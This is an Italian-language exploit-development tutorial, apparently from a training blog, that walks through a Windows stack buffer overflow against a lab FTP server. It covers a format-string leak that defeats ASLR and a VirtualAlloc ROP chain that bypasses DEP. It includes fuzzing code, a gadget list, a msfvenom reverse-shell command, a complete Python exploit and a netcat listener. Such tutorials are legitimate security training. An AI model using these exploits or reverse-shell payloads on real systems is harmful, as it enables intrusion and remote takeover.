Windows Buffer Overflow Exploit: ASLR e DEP Bypass con ROP Chain

Guida completa al Windows Buffer Overflow Exploit: format string leak per bypassare ASLR, ROP chain per bypassare DEP, VirtualAlloc, SEH, egg hunter.
- Pubblicato il 2026-03-19
- Tempo di lettura: 11 min
Il buffer overflow su Windows è ancora oggi una delle tecniche fondamentali nell’exploit development. Capire come funziona — e come bypassare le protezioni moderne come ASLR e DEP — è il cuore del windows exploit development a livello professionale.
In questa guida trovi tutto quello che serve: dalla teoria dei registri CPU fino alla costruzione di una ROP chain completa con VirtualAlloc, passando per format string leak e DEP bypass. Ogni concetto è illustrato con esempi reali tratti da un caso concreto: l’exploit di una macchina con un server FTP vulnerabile, documentato in dettaglio nella guida pratica su Osaka.
Per approfondire il contesto Windows, consulta anche: https://hackita.it/articoli/windows , mentre per il contesto active directory consulta anche https://hackita.it/articoli/active-directory
Se vuoi una panoramica più ampia sul buffer overflow prima di entrare nei dettagli di Windows, leggi prima questa guida introduttiva.
Cos’è un Buffer Overflow #
Un buffer overflow avviene quando un programma scrive più dati di quanti un buffer possa contenere, sovrascrivendo la memoria adiacente. Su Windows, il target classico è lo stack.
Lo stack cresce verso il basso. Quando allochi un buffer locale in una funzione e ci scrivi troppi dati, sovrascrivi — nell’ordine — il buffer stesso, il saved EBP e infine l’EIP (o RIP su x64): il registro che punta alla prossima istruzione da eseguire.
Sovrascrivi EIP → controlli il flusso del programma → esegui codice arbitrario.
Le protezioni moderne (ASLR, DEP, SafeSEH, Stack Canary) rendono tutto più complesso. Ma non impossibile.
Tipi di Buffer Overflow #
Non tutti i buffer overflow sono uguali. I principali sono:
- Stack-based BOF → sovrascrivi EIP/RIP (caso più comune)
- Heap-based BOF → corrompi strutture heap
- SEH Overflow → sovrascrivi Structured Exception Handler
- Unicode BOF → limitazioni sui byte utilizzabili
Questa guida si concentra sullo stack-based BOF, il più utilizzato nel Windows exploit development.
SEH Exploitation (Structured Exception Handler) #
Su Windows è possibile sfruttare buffer overflow tramite la sovrascrittura della SEH chain.
Quando un’eccezione viene generata, Windows attraversa la SEH chain per trovare un handler. Se controlli questa chain, puoi dirottare l’esecuzione.
Tecnica:
- Sovrascrivi Next SEH
- Sovrascrivi SEH Handler
- Triggeri un’eccezione → esecuzione controllata
Comandi utili:
!mona seh
!mona find -s "\xeb\x06\x90\x90" -m target.exeQuesta tecnica è comune nei vecchi binari Windows senza protezioni moderne.
Registri CPU Fondamentali #
Capire i registri è il prerequisito di tutto. Nell’exploit development li usi in modo diretto: non come variabili, ma come leve per controllare l’esecuzione.
Architettura x86 (32-bit) #
| Registro | Nome completo | Ruolo nell’exploit |
|---|---|---|
EIP | Instruction Pointer | Punta alla prossima istruzione. Target principale del BOF. |
ESP | Stack Pointer | Punta alla cima dello stack. Dopo il crash, ESP punta al payload. |
EBP | Base Pointer | Riferimento del frame corrente. Spesso sovrascritto prima di EIP. |
EAX | Accumulator | Valore di ritorno delle funzioni. Usato per puntatori nella ROP. |
EBX | Base Register | Registro generico. Nella ROP chain: primo parametro a VirtualAlloc. |
ECX | Counter Register | Contatore nei loop. Nella ROP: terzo parametro (flAllocationType). |
EDX | Data Register | I/O e moltiplicazioni. Nella ROP: secondo parametro (dwSize). |
ESI | Source Index | Indice sorgente. Nella ROP: spesso usato per puntatori a funzione. |
EDI | Destination Index | Indice destinazione. Nella ROP: spesso usato come ROP NOP. |
EFLAGS | Flag Register | Flag di stato (ZF, CF, SF, OF). Condizionano i salti condizionali. |
Architettura x86-64 (64-bit) #
Su x64 i registri si estendono a 64 bit e cambiano le convenzioni di chiamata. Puoi accedere alle porzioni inferiori per compatibilità.
| x64 | Parte bassa 32-bit | Parte bassa 16-bit | Parte bassa 8-bit |
|---|---|---|---|
RAX | EAX | AX | AL / AH |
RBX | EBX | BX | BL / BH |
RCX | ECX | CX | CL / CH |
RDX | EDX | DX | DL / DH |
RSI | ESI | SI | SIL |
RDI | EDI | DI | DIL |
RSP | ESP | SP | SPL |
RBP | EBP | BP | BPL |
RIP | (no accesso diretto) | — | — |
Su x64 esistono anche 8 registri aggiuntivi: R8 → R15, ognuno con le sue porzioni (R8D, R8W, R8B).
Convenzioni di chiamata a confronto #
| Piattaforma | Parametri passati via | Return value |
|---|---|---|
| x86 Windows | Stack (da destra a sinistra) | EAX |
| x64 Windows | RCX, RDX, R8, R9, poi stack | RAX |
| x64 Linux (SysV) | RDI, RSI, RDX, RCX, R8, R9 | RAX |
Questo cambia completamente come si costruisce una ROP chain su x64: invece di PUSHAD e stack, devi caricare i parametri nei registri giusti prima di ogni chiamata.
Registri di segmento #
Usati raramente nell’exploit development moderno, ma utili saperli:
| Registro | Uso tipico |
|---|---|
CS | Code Segment |
DS | Data Segment |
SS | Stack Segment |
ES | Extra Segment |
FS | Thread Information Block (TIB) su Windows — contiene SEH, TEB, PEB |
GS | Thread Local Storage su x64 Linux; stack canary su Windows x64 |
FS:[0] su Windows 32-bit punta alla SEH chain. GS:[0x28] su Windows 64-bit contiene il stack cookie — il canary. Entrambi sono rilevanti per tecniche avanzate di bypass.
Protezioni Windows: il Quadro Completo #
Prima di attaccare qualsiasi binario su Windows, devi sapere esattamente cosa hai di fronte.
| Protezione | Cosa fa | Come si bypassa |
|---|---|---|
| ASLR | Randomizza base address di moduli e stack | Memory leak, brute force, info leak |
| DEP / NX | Stack non eseguibile | ROP chain |
| SafeSEH | Valida i puntatori ai gestori di eccezione | Gadget fuori dalla SafeSEH list |
| SEHOP | Verifica l’integrità della catena SEH | Tecniche di bypass specifiche |
| Stack Cookie (GS) | Canary sullo stack — rileva sovrascritture | Info leak, sovrascrittura precisa |
| CFG | Control Flow Guard — valida i target dei salti | Gadget all’interno della whitelist |
!mona modules -m target.exeQuesto è il primo comando da eseguire. Ti restituisce tutti i flag per ogni modulo caricato.
Format String Vulnerability #
La Teoria #
printf("%s", input) è sicuro. La format string è fissa.
printf(input) è vulnerabile. L’input dell’utente diventa la format string. Se passi %x, legge e stampa il prossimo valore dallo stack. Se ne passi 100, fotografi 100 valori consecutivi.
I Format Specifier Principali #
| Specifier | Comportamento |
|---|---|
%x | Legge 4 byte dallo stack, stampa in hex |
%d | Legge 4 byte dallo stack, stampa come intero decimale |
%s | Legge 4 byte come puntatore, stampa la stringa a quell’indirizzo |
%p | Come %x ma formato puntatore (0x...) |
%08x | Come %x con zero-padding a 8 caratteri |
%n | Scrive sullo stack il numero di caratteri stampati — write primitive |
Accesso Diretto con %N$x
#
Su Linux e su alcuni sistemi Windows puoi accedere direttamente all’N-esimo argomento sullo stack:
%1$x → primo argomento
%7$x → settimo argomentoSu Windows con MSVCRT il supporto è parziale. Il metodo più affidabile rimane la ripetizione sequenziale: %x|%x|%x|...
Come si Usa in Pratica #
Nel caso reale analizzato nella guida su Osaka, il server FTP espone un comando DEBUG con questa vulnerabilità:
// Vulnerabile — l'input diventa la format string
sub_401060(&v23, v26, (char)sub_4010F0);Mandando %x| ripetuto 100 volte si ottiene una fotografia dello stack:
DEBUG a310f0|7750c9b4|00000000|...Il primo valore (a310f0) è un indirizzo interno del binario. Da lì si ricava la base reale del modulo — bypassando ASLR.
ASLR Bypass #
Come Funziona ASLR #
ASLR randomizza la base dei moduli ad ogni avvio. Non randomizza gli offset interni — quelli li decide il compilatore alla compilazione e sono fissi per ogni build.
La logica è quella di una città che si sposta ogni giorno. Se il bar è sempre a 2km dalla piazza, basta conoscere la posizione della piazza per trovare il bar.
Il Calcolo degli Offset #
Con Immunity Debugger + mona.py:
!mona modules -m target.exe → base statica di debug: 0x00a30000
!mona jmp -r esp -m target.exe → jmp esp: 0x00a310daIl valore leakato via format string: 0xa310f0
offset_leak = 0xa310f0 - 0xa30000 = 0x10f0 ← fisso per sempre
offset_jmp_esp = 0xa310da - 0xa30000 = 0x10da ← fisso per sempreAd ogni avvio del processo:
nuova_base = valore_leakato - offset_leak
jmp_esp_reale = nuova_base + offset_jmp_espQuesto vale per qualsiasi gadget, qualsiasi funzione, qualsiasi indirizzo nel modulo. Un leak → tutto il layout è noto.
Buffer Overflow Exploitation #
Checklist Rapida #
- Fuzzing — trova la lunghezza del crash
- Offset esatto — calcola i byte precisi prima di EIP
- Conferma controllo EIP —
B*4in EIP →42424242 - Bad chars — identifica i byte filtrati o corrotti
- JMP ESP — trova il trampolino verso il payload
- Shellcode / ROP — costruisci il payload finale
Fuzzing #
import socket
for size in range(100, 2000, 100):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("TARGET", PORT))
s.recv(1024)
s.send(b"COMANDO " + b"A" * size + b"\r\n")
s.close()Annota la dimensione al crash.
Offset Esatto #
msf-pattern_create -l 500 > pattern.txt
# Invia il pattern al target
# Leggi EIP nel debugger
msf-pattern_offset -q VALORE_EIP
# Output: [*] Exact match at offset 272Conferma EIP #
payload = b"A" * 272 + b"B" * 4 + b"C" * 100
# EIP = 42424242 → controllo confermato
# ESP punta ai C → è qui che va il payloadBad Characters #
!mona bytearray -b "\x00"badchars = bytes(range(1, 256))
payload = b"A" * 272 + b"B" * 4 + badcharsDopo il crash:
!mona compare -f bytearray.bin -a INDIRIZZO_ESPRipeti escludendo ogni bad char trovato fino a:
Hooray, normal shellcode unmodified
Bytes omitted: 00Nota: oltre a \x00, in molti scenari reali sono bad characters anche:
\x0a(newline)\x0d(carriage return)\x20(spazio)\xff(dipende dal protocollo)
In questi casi è necessario:
- usare encoder come
x86/shikata_ga_nai - oppure generare shellcode custom
JMP ESP — il Trampolino #
Non puoi hardcodare un indirizzo sullo stack — ASLR lo randomizza. Hai bisogno di un trampolino: un indirizzo fisso (o calcolato dal leak) che contenga l’istruzione JMP ESP.
!mona jmp -r esp -m target.exeJMP ESP in opcode è \xff\xe4. Quando EIP viene messo su JMP ESP, il flusso salta direttamente su ciò che hai messo dopo EIP nello stack — cioè il tuo payload.
DEP Bypass con ROP Chain #
Cos’è DEP #
DEP (Data Execution Prevention) segna lo stack come non eseguibile. Qualsiasi tentativo di eseguire codice in quella regione genera un’eccezione di accesso.
Shellcode direttamente sullo stack → blocco immediato. Serve un’altra strategia.
Cos’è una ROP Chain #
ROP (Return-Oriented Programming) non inietta nuovo codice. Usa gadget — frammenti di istruzioni già presenti nel binario che terminano con RETN.
RETN prende il valore in cima allo stack e ci salta. Se controlli lo stack, controlli la sequenza dei gadget.
La differenza fondamentale tra le istruzioni:
POP registro— carica un valore nel registro. Non esegue nulla. Prepara i registri.JMP indirizzo— salta e esegue codice a quell’indirizzo.RETN— è unPOP RIP/EIPimplicito. Prende l’indirizzo dal top dello stack e salta.
Per una spiegazione approfondita delle ROP chain consulta la guida dedicata.
Strategia: VirtualAlloc + Shellcode Esterno #
VirtualAlloc è una Windows API (kernel32.dll) che alloca nuova memoria con permessi configurabili. Con il flag PAGE_EXECUTE_READWRITE (0x40), quella memoria è sia scrivibile che eseguibile.
Il piano:
- ROP chain prepara i parametri
- Chiama VirtualAlloc
- Copia lo shellcode nella nuova regione
- Salta allo shellcode
DEP non blocca quella memoria — l’abbiamo resa eseguibile esplicitamente tramite API di sistema.
PUSHAD — Il Meccanismo di Lancio #
PUSHAD spinge tutti i registri generali sullo stack in ordine fisso:
EAX, ECX, EDX, EBX, ESP, EBP, ESI, EDI
VirtualAlloc si aspetta i parametri in questo layout. La ROP chain li carica nei registri giusti, poi un singolo gadget PUSHAD + RETN li mette tutti sullo stack in ordine — pronti per la chiamata a VirtualAlloc.
VirtualAlloc vs VirtualProtect #
VirtualAlloc e VirtualProtect sono le due API principali usate per bypassare DEP.
- VirtualAlloc → alloca nuova memoria con permessi eseguibili
- VirtualProtect → modifica i permessi di memoria già esistente
VirtualProtect è spesso più semplice da usare perché:
- non richiede nuova allocazione
- permette di rendere eseguibile direttamente lo stack (ESP)
Esempio:
VirtualProtect(shellcode_addr, size, 0x40, &oldProtect)In molti exploit reali, VirtualProtect è preferita per semplicità e affidabilità.
Stack Pivot #
Non sempre ESP punta al nostro payload. In questi casi è necessario eseguire uno stack pivot.
Uno stack pivot consiste nello spostare ESP verso una zona controllata in memoria.
Gadget comuni:
ADD ESP, 0xNNXCHG EAX, ESPMOV ESP, EAX
Senza stack pivot, la ROP chain potrebbe non essere eseguita correttamente.
Costruzione della ROP Chain #
Generazione con mona.py #
!mona rop -m target.exemona genera automaticamente una ROP chain candidata con tutti i gadget necessari. L’output include offset rispetto alla base del modulo — fondamentale per l’ASLR bypass.
Schema della Chain (con base dinamica) #
rop_gadgets = [
# Prepara EBP (skip filler)
0x7e14 + nuova_base, # POP EBP # RETN
0x7e14 + nuova_base, # skip — valore di EBP = stesso gadget
# EBX = lpAddress (1 → VirtualAlloc decide)
0x13bf + nuova_base, # POP EBX # RETN
0x1, # EBX = 1
# EDX = dwSize (0x1000 = 4096 byte)
0x1bd7e + nuova_base, # POP EDX # RETN
0x1000, # EDX = 0x1000
# ECX = flAllocationType (0x40 = PAGE_EXECUTE_READWRITE)
0x5181 + nuova_base, # POP ECX # RETN
0x40, # ECX = 0x40
# EDI = ROP NOP (RETN — non fa nulla, avanza)
0x4655 + nuova_base, # POP EDI # RETN
0x4682 + nuova_base, # valore EDI = gadget RETN
# ESI = JMP [EAX] — trampolino verso VirtualAlloc
0xc9d6 + nuova_base, # POP ESI # RETN
0x14adb + nuova_base, # JMP [EAX] — trovato con !mona find -s "\xff\x20"
# EAX = puntatore a VirtualAlloc
0x1d2bf + nuova_base, # POP EAX # RETN
0x1e008 + nuova_base, # ptr VirtualAlloc() — dalla IAT
# Innesca tutto
0x10d6 + nuova_base, # PUSHAD # RETN
0x10da + nuova_base, # JMP ESP → salta allo shellcode dopo la chain
]Il Meccanismo ESI + EAX + JMP [EAX] #
JMP [EAX] (\xff\x20 in opcode) salta all’indirizzo contenuto in EAX — non a EAX stesso. Se EAX punta all’entry nella IAT di VirtualAlloc, JMP [EAX] porta direttamente all’API.
!mona find -s "\xff\x20" -m target.exeIl meccanismo è identico a quello classico EIP → JMP ESP → shellcode, ma un livello sopra:
ESI → JMP [EAX] → EAX → VirtualAllocVirtualAlloc e Execution Flow #
Parametri di VirtualAlloc #
LPVOID VirtualAlloc(
LPVOID lpAddress, // EBX — NULL o indirizzo suggerito
SIZE_T dwSize, // EDX — dimensione in byte (0x1000)
DWORD flAllocationType, // ECX — MEM_COMMIT | MEM_RESERVE (0x3000) o solo MEM_COMMIT
DWORD flProtect // EAX — PAGE_EXECUTE_READWRITE (0x40)
);Nota: nella ROP chain sopra, EBX/EDX/ECX/EAX sono caricati nelle posizioni corrette per PUSHAD. Dopo PUSHAD, i valori sono sullo stack nell’ordine che VirtualAlloc si aspetta.
Il Flusso Completo #
[OVERFLOW]
│
▼
[EIP sovrascitto con JMP ESP]
│
▼
[ROP Chain sullo stack]
│ POP EBP / EBX / EDX / ECX / EDI / ESI / EAX
│ (carica i parametri nei registri)
│
▼
[PUSHAD] → mette tutto sullo stack in ordine
│
▼
[ESI → JMP [EAX]] → salta a VirtualAlloc
│
▼
[VirtualAlloc] → alloca memoria PAGE_EXECUTE_READWRITE
│
▼
[JMP ESP] → salta allo shellcode (dopo la chain)
│
▼
[SHELLCODE esegue nella memoria appena allocata]
│
▼
[SHELL]Egg Hunter #
Quando lo spazio per il payload è limitato, è possibile utilizzare un egg hunter.
Un egg hunter è uno shellcode molto piccolo che cerca in memoria una sequenza specifica (egg) e poi esegue il payload completo.
Esempio:
T00WT00W + shellcodeL’egg hunter scansiona la memoria finché trova T00WT00W e poi esegue il payload.
Utile quando:
- buffer troppo piccolo
- restrizioni severe sui bad characters
- exploit multi-stage
Exploit Finale #
Genera lo Shellcode #
msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp \
LHOST=TUO_IP LPORT=4444 -b "\x00" -f pyScript Python Completo #
import socket
from struct import pack
# Offset calcolati staticamente (fissi per questa build)
OFFSET_LEAK = 0x10f0
OFFSET_JMP_ESP = 0x10da
# Connessione
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("TARGET_IP", TARGET_PORT))
s.recv(1024)
# Autenticazione (adattare al protocollo del target)
s.send(b"USER user\r\n"); s.recv(1024)
s.send(b"PASS pass\r\n"); s.recv(1024)
# ── ASLR Bypass ──────────────────────────────────────────────
s.send(b"DEBUG " + b"%x|" * 100 + b"\r\n")
leak_raw = s.recv(1024)
leak_val = int(leak_raw.split(b"|")[0].split(b" ")[-1], 16)
nuova_base = leak_val - OFFSET_LEAK
jmp_esp_reale = nuova_base + OFFSET_JMP_ESP
print(f"[*] Leak: {hex(leak_val)}")
print(f"[*] Base: {hex(nuova_base)}")
print(f"[*] JMP ESP: {hex(jmp_esp_reale)}")
# ── Shellcode ─────────────────────────────────────────────────
buf = b""
buf += b"\xdb\xc0..." # output di msfvenom qui
# ── ROP Chain ─────────────────────────────────────────────────
rop_gadgets = [
0x7e14 + nuova_base, # POP EBP
0x7e14 + nuova_base, # (skip)
0x13bf + nuova_base, # POP EBX
0x1,
0x1bd7e + nuova_base, # POP EDX
0x1000,
0x5181 + nuova_base, # POP ECX
0x40,
0x4655 + nuova_base, # POP EDI
0x4682 + nuova_base, # RETN NOP
0xc9d6 + nuova_base, # POP ESI
0x14adb + nuova_base, # JMP [EAX]
0x1d2bf + nuova_base, # POP EAX
0x1e008 + nuova_base, # ptr VirtualAlloc
0x10d6 + nuova_base, # PUSHAD
0x10da + nuova_base, # JMP ESP
]
rop = b"".join(pack("<I", g) for g in rop_gadgets)
# ── Payload ───────────────────────────────────────────────────
TOTAL = 1000
payload = b"A" * 272
payload += pack("<I", jmp_esp_reale)
payload += rop
payload += b"\x90" * 16
payload += buf
payload += b"C" * (TOTAL - len(payload))
input("[*] Listener pronto? premi invio...")
s.send(b"RETR " + payload + b"\r\n")Listener #
nc -lvnp 4444Concetti Chiave #
Format String Vulnerability — printf(input) invece di printf("%s", input). Con %x ripetuto fotografi lo stack e ricavi indirizzi interni del programma.
ASLR — randomizza solo la base del modulo. Gli offset interni sono fissi. Un leak → tutto il layout è calcolabile.
NXCompat vs DEP — NXCompat è il flag del binario. DEP è la policy di Windows. Windows vince sempre, indipendentemente dal flag del binario.
ROP Chain — usa gadget già nel binario, ognuno termina con RETN. POP prepara i registri. JMP esegue. PUSHAD innesca la sequenza per VirtualAlloc.
VirtualAlloc — alloca memoria eseguibile fuori dallo stack. DEP non la tocca. Shellcode → lì dentro → esecuzione.
JMP [EAX] — salta all’indirizzo contenuto in EAX. Usato per raggiungere VirtualAlloc tramite la IAT del binario. Stesso schema di JMP ESP ma un livello di indirezione sopra.
Convenzione di chiamata x86 vs x64 — su x86 i parametri vanno nello stack (sfruttato con PUSHAD). Su x64 vanno nei registri RCX, RDX, R8, R9. Le ROP chain su x64 devono essere costruite di conseguenza.
FAQ #
Cos’è un buffer overflow? Vulnerabilità che sovrascrive memoria oltre i limiti di un buffer. Sullo stack permette di controllare EIP e dirottare l’esecuzione.
ASLR rende impossibile l’exploit? No. ASLR randomizza la base, non gli offset interni. Un singolo leak di un indirizzo del modulo è sufficiente per calcolare tutto il resto.
DEP blocca sempre lo shellcode sullo stack?
Sì. Ma non blocca codice in regioni allocate con PAGE_EXECUTE_READWRITE. VirtualAlloc è la soluzione standard.
Cosa cambia su 64-bit? I registri si allargano (RAX, RIP, RSP…), la convenzione di chiamata cambia (parametri in RCX/RDX/R8/R9 invece dello stack), e le tecniche ROP devono adattarsi. I principi fondamentali rimangono identici.
Immunity Debugger funziona su 64-bit? No, Immunity è solo x86. Su 64-bit si usa WinDbg, x64dbg o gdb su Linux. Il workflow concettuale è lo stesso.
Quanto conta mona.py? Tantissimo. Automatizza la ricerca di gadget, bad chars, moduli senza protezioni e la generazione della ROP chain. Su Windows è lo strumento standard per il windows exploit development.
Come si costruisce un exploit buffer overflow su Windows? Serve controllare EIP, ottenere un leak per bypassare ASLR e costruire una ROP chain per bypassare DEP, tipicamente usando VirtualAlloc o VirtualProtect.
Cheat Sheet #
Fuzzing: python3 fuzzer.py → trova crash size
Offset: msf-pattern_create / msf-pattern_offset
Controllo EIP: B*4 → 42424242 in EIP
Bad chars: !mona bytearray + !mona compare
JMP ESP: !mona jmp -r esp -m target.exe
JMP [EAX]: !mona find -s "\xff\x20" -m target.exe
ROP chain: !mona rop -m target.exe
Shellcode: msfvenom -p windows/shell_reverse_tcp -b "\x00" -f py
ASLR bypass: leak via format string → calcola offset → nuova base
DEP bypass: ROP + VirtualAlloc(0x40) → JMP ESP → shellcode| Protezione | Tecnica di bypass |
|---|---|
| ASLR | Format string leak + calcolo offset |
| DEP | ROP chain + VirtualAlloc |
| SafeSEH | Gadget in moduli non-SafeSEH |
| Stack Cookie | Info leak o sovrascrittura mirata |
Risorse #
- Caso reale completo passo-passo → Osaka Proving Grounds
- Guida introduttiva al buffer overflow → Buffer Overflow
- ROP chain approfondimento → ROP Chain
- Microsoft Docs — VirtualAlloc API → learn.microsoft.com
Guida tecnica scritta a scopo educativo per HackIta. Testa solo su macchine di tua proprietà o su piattaforme autorizzate come Proving Grounds.
Vuoi diventare forte su exploit development e prepararti per OSCP? → hackita.it/servizi



